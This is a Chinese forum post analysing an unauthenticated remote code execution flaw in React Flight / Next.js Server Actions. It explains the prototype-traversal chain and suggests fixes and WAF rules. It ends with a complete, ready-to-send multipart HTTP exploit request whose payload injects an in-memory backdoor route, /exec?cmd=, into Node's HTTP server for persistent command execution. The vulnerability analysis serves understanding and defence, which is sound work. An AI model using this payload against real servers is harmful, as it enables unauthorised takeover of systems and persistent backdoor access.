找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

540

积分

0

好友

73

主题
发表于 19 小时前 | 查看: 3| 回复: 0

本文深入分析了一个存在于React Flight协议中、影响Next.js Server Actions功能的远程代码执行(RCE)漏洞。该漏洞通过巧妙地组合三个独立的弱点实现了利用。

Server Actions 简介

Server Actions 是 React 18 引入、并完全集成在 Next.js 13+ App Router 中的功能。它允许你定义可以在客户端组件中直接调用的服务端函数,而无需显式创建 API 路由。

工作原理

当 Server Action 被调用时,Next.js 会发送一个带有特定请求头的 POST 请求:

POST /page HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
Next-Action: 1234567890abcdef        ← Server Action 标识符
Next-Router-State-Tree: ...          ← 客户端路由状态

Next-Action 请求头告知服务器需要执行哪个已注册的函数,请求体则包含了序列化的参数。

React Flight 协议概览

Flight 协议是 React 用于在服务端与客户端之间传输组件树和数据的自定义序列化格式。

核心概念:Flight 引用类型 协议使用 $ 前缀的字符串来编码无法用普通 JSON 表示的特殊值,例如:

  • $F0:服务端函数引用
  • $Q0:Map 对象
  • $B0:Blob 对象
  • $n123:BigInt 值
  • $R0:ReadableStream
  • $@0:Promise 或 Chunk 的引用

数据块(Chunk)架构 Flight 将数据组织成离散的数据块(Chunk),它们可以相互引用。每个 Chunk 在内部表现为一个类 Promise 的对象:

// 摘自 ReactFlightReplyServer.js (第118-123行)
function Chunk(status, value, reason, response) {
  this.status = status;      // 'pending' | 'resolved_model' | 'fulfilled' ...
  this.value = value;        // 实际数据或待处理的监听器
  this.reason = reason;      // 错误原因或 Chunk ID
  this._response = response; // 父 Response 对象
}
// Chunks 继承自 Promise.prototype
Chunk.prototype = Object.create(Promise.prototype);

关键漏洞点:基于路径的引用 Flight 支持使用冒号分隔的路径进行嵌套属性访问,例如 “$0:users:0:name”。解析过程如下:

// 摘自 getOutlinedModel() 函数 (第602-616行)
const path = reference.split(':'); // ["0", "users", "0", "name"]
const id = parseInt(path[0], 16);  // 0
const chunk = getChunk(response, id);
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];          // 遍历:value["users"]["0"]["name"]
}

🔴 漏洞所在:对属性名 path[i] 缺乏任何验证,导致可以访问危险属性,如 __proto__constructor

漏洞利用链深度解析

1. 入口点触发decodeBoundActionMetaData 函数中,当调用 getRoot(actionResponse).then(() => {}) 时,会强制解析根数据块,从而启动整个利用链。

2. 路径遍历与原型链劫持 攻击载荷中设置了 "then": "$1:__proto__:then"。 当解析 $1:__proto__:then 时:

  • path 变为 ["1", "__proto__", "then"]
  • 获取 Chunk 1(其值为 “$@0”,指向 Chunk 0)
  • 通过 value = value[“__proto__”][“then”] 访问,最终窃取到 Chunk.prototype.then 函数。 这使得攻击载荷对象本身变成了一个 thenable 对象。

3. 获取 Function 构造函数 攻击载荷中 _response._formData.get 被设置为 “$1:constructor:constructor”。 解析此路径时:

  • 最终访问 chunk0[“constructor”][“constructor”]
  • 获得 Function 构造函数。 至此,攻击者已经将关键的 _formData.get 方法替换为可以执行任意代码的 Function 构造器。

4. 恶意代码执行 攻击载荷的 _response._prefix 包含恶意代码字符串。当协议解析器遇到类似 “$B1337” 的 Blob 引用时,会执行以下逻辑:

case 'B': { // Blob 引用
  const id = parseInt(value.slice(2), 16); // 0x1337 = 4919
  const prefix = response._prefix;          // 恶意代码字符串
  const blobKey = prefix + id;              // 拼接成完整的代码字符串
  const backingEntry = response._formData.get(blobKey); // 调用被替换的 Function 构造器!
  return backingEntry;
}

response._formData.get(blobKey) 实际上变成了 Function(“恶意代码字符串”),该函数被创建并返回。

5. RCE 达成 这个被创建的函数,作为 then 属性值,在 Promise 解析机制中被调用:value.then(resolve, reject),从而执行了攻击者的任意代码,例如 execSync(‘say haha’)

漏洞根本原因总结

位置 漏洞点
ReactFlightReplyServer.js (第614-615行) 未过滤的路径遍历,允许访问 __proto__constructor 等危险属性
ReactFlightReplyServer.js (第137行) 伪造对象因其 status 属性匹配而被当作真实的 Chunk 对象处理
ReactFlightReplyServer.js (第468-474行) 未验证 chunk._response 是否为合法的 Response 对象就直接使用
ReactFlightReplyServer.js (第1066行) 调用 _formData.get() 前未验证其是否为真正的 FormData 方法

影响与缓解建议

影响

  • 在服务器上实现完整的远程代码执行
  • 无需身份验证,任何可访问 Server Action 端点的客户端均可利用。
  • 影响所有使用存在漏洞的 React Flight 协议的 Next.js 版本。

长期修复建议

  1. 净化路径遍历:在解析路径时,拦截危险属性名。
    const BLOCKED_PROPS = [‘__proto__’, ‘constructor’, ‘prototype’];
    if (BLOCKED_PROPS.includes(path[i])) {
      throw new Error(‘Invalid property access’);
    }
  2. 验证数据块对象:确保 chunk._response 是合法的 Response 实例。
  3. 类型检查 _formData.get:验证该方法确实是原生的 FormData 方法。

前端开发者应立即升级 Next.js 和 React 至已修复的安全版本。同时,运维人员可以在 WAF 上设置规则,拦截请求体中包含 __proto__constructor 等可疑关键词的请求,并密切监控相关日志。

补充:真实利用载荷示例

攻击者可以构造更复杂的载荷,例如注入一个 HTTP 请求处理内存马:

POST /apps HTTP/1.1
Host: vulnerable-host.com
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name=“0”
{“then”:“$1:__proto__:then”,“status”:“resolved_model”,“reason”:-1,“value”:“{\”then\”:\”$B1337\”}”,“_response”:{“_prefix”:“(async()=>{const http=await import(‘node:http’);const url=await import(‘node:url’);const cp=await import(‘node:child_process’);const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event===‘request’){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname===‘/exec’){const cmd=parsedUrl.query.cmd||‘whoami’;cp.exec(cmd,(err,stdout,stderr)=>{res.writeHead(200,{‘Content-Type’:‘application/json’});res.end(JSON.stringify({success:!err,stdout,stderr,error:err?err.message:null}));});return true;}}return originalEmit.apply(this,arguments);};})();”,“_chunks”:“$Q2”,“_formData”:{“get”:“$1:constructor:constructor”}}}
------WebKitFormBoundary
Content-Disposition: form-data; name=“1”
“$@0”
------WebKitFormBoundary
Content-Disposition: form-data; name=“2”
[]
------WebKitFormBoundary—

此载荷会劫持 Node.js 的 HTTP 服务器原型,注入一个后门路由 /exec?cmd=,从而实现持续的远程命令执行。这凸显了此类 RCE 漏洞在安全渗透领域的极高危险性,同时提醒开发者需对类似 Node.js 运行时的服务端环境保持高度安全警觉。




上一篇:毫米波雷达在自动驾驶中的核心作用:从基础测距到4D成像技术演进
下一篇:Proxmox VE 9.1.1实战:通过OCI原生运行Docker镜像指南
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-8 23:42 , Processed in 1.136414 second(s), 44 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表